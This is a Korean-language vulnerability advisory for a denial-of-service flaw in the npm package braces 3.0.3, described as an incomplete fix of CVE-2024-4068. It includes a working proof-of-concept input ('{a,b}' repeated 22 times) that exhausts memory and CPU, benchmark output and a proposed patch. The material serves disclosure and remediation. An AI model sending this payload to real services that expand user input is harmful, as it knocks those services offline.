
CVE-Candidate: [email protected]의 쉼표로 구분된 중괄호 확장을 통한 DoS (CVE-2024-4068 불완전한 수정)
패키지: braces (npm) 버전: 3.0.3 (최신) 심각도: 높음 (CVSS 7.5) CWE: CWE-400 통제되지 않은 리소스 소비 상태: 보고되지 않음
참고: 이는 독립적인 발견입니다. CVE-2024-4068은 입력 길이 제한(MAX_LENGTH=10000)을 처리했지만 쉼표로 구분된 중괄호 패턴의 조합적 출력 폭발은 수정하지 못했습니다. CVE-2026-45149는
micromatch/braces가 아닌 다른 패키지(juliangruber/brace-expansion)에 영향을 미칩니다.
braces 라이브러리는 쉼표로 구분된 중괄호 확장 패턴을 처리할 때 통제되지 않은 리소스 소비를 통한 서비스 거부에 취약합니다.
110자만 되는 악의적인 입력으로 라이브러리가 메모리에 420만 개의 항목을 생성하며, 1.2GB 이상의 RAM을 소비하고 CPU를 9~30초 동안 차단합니다(하드웨어에 따라 다름).
이는 CVE-2024-4068에 대한 불완전한 수정입니다. 원래 패치는 입력 길이를 10,000자로 제한했지만 쉼표로 구분된 확장의 조합적 출력을 제한하지 않았습니다.
braces는 micromatch의 의존성이며, micromatch는 다음 도구에서 사용됩니다:
사용자 제어 입력을 braces.expand()에 전달하는 모든 애플리케이션은 취약합니다.
lib/expand.js에서 rangeLimit 가드는 숫자 범위({1..1000})만 검사하며 쉼표로 구분된 패턴({a,b})은 검사하지 않습니다:
// lib/expand.js:57
if (node.ranges > 0) { // only numeric ranges are checked
if (utils.exceedsLimit(...args, options.step, rangeLimit)) {
throw new RangeError('...');
}
}
// Comma-separated expansions skip this check entirely
append() 함수는 출력 제한 없이 모든 2^N 조합을 배열로 재귀적으로 구성합니다.
mkdir braces-test && cd braces-test
npm init -y && npm install [email protected]
node -e "
const braces = require('braces');
const input = '{a,b}'.repeat(22);
console.time('expand');
const result = braces.expand(input);
console.timeEnd('expand');
console.log('Items:', result.length.toLocaleString());
"
# Install dependency first
npm install [email protected]
python3 poc_braces_dos.py
항목 수는 결정적입니다. 시간과 메모리는 하드웨어에 따라 다릅니다.
======================================================================
PoC: braces 3.0.3 Denial of Service
CVE-CANDIDATE: CVE-2024-4068 incomplete fix
======================================================================
[*] Finding DoS threshold...
n=10: input= 50 chars -> 1,024 items, 4,096 chars, 11ms, +912KB
n=15: input= 75 chars -> 32,768 items, 163,840 chars, 96ms, +15915KB
n=18: input= 90 chars -> 262,144 items, 1,310,720 chars, 737ms, +115535KB
n=20: input= 100 chars -> 1,048,576 items, 5,242,880 chars, 1833ms, +242558KB
n=22: input= 110 chars -> 4,194,304 items, 20,971,520 chars, 9723ms, +1196410KB
n=25: TIMEOUT/OOM
[*] Conclusion:
- Input size: 110 characters (well within the 10,000 character limit)
- Memory consumption: >1.2GB
- CPU block time: ~10 seconds
braces.expand(input)
-> lib/expand.js:walk()
-> lib/expand.js:append() <- no output limit
-> recursively builds all 2^N combinations
-> returns massive array
조합적 폭발을 방지하기 위해 lib/expand.js의 각 연결 단계에 제한 검사를 추가하세요. walk() 내부의 append 호출을 검증 헬퍼로 감싸세요:
const queueLimit = (queue, stash, enclose) => {
if (rangeLimit === Infinity) return append(queue, stash, enclose);
const queueLength = queue ? [].concat(queue).length : 0;
const stashLength = [].concat(stash).length;
const nextLength = queueLength === 0 ? stashLength : (stashLength === 0 ? queueLength : queueLength * stashLength);
if (nextLength > rangeLimit) {
throw new RangeError('expanded array length exceeds range limit. Use options.rangeLimit to increase or disable the limit.');
}
return append(queue, stash, enclose);
};
walk() 내부의 append() 호출을 queueLimit()으로 대체하면 연속된 중괄호와 범위의 조합이 안전하게 제한됩니다.
| 날짜 | 이벤트 |
|---|---|
| 2026-07-17 | 취약점 발견 |
| 2026-07-21 | 대중 공개 (책임 있는 공개가 아직 시작되지 않음) |
cyeezy08 발견.
| 입력 (문자) | 출력 항목 | 시간 (대략) | 메모리 (대략) |
|---|
| 50 | 1,024 | ~10ms | ~1MB |
| 75 | 32,768 | ~100ms | ~16MB |
| 90 | 262,144 | ~700ms | ~116MB |
| 100 | 1,048,576 | ~2-4s | ~243-468MB |
| 110 | 4,194,304 | ~10-30s | ~1.2GB+ |
| 125+ | 충돌/OOM | 시간 초과 | OOM 킬 |
| 파일 | 설명 |
|---|
poc_braces_dos.py | 동작하는 PoC 스크립트 |
findings.md | 상세 취약점 분석 |
verdict.md | 확인 및 CVSS 점수 |
disclosure-report.md | 제출 준비가 된 권고문 |
patch.diff | lib/expand.js에 대한 제안된 수정 |
email-draft.txt | 관리자에게 보낼 이메일 초안 |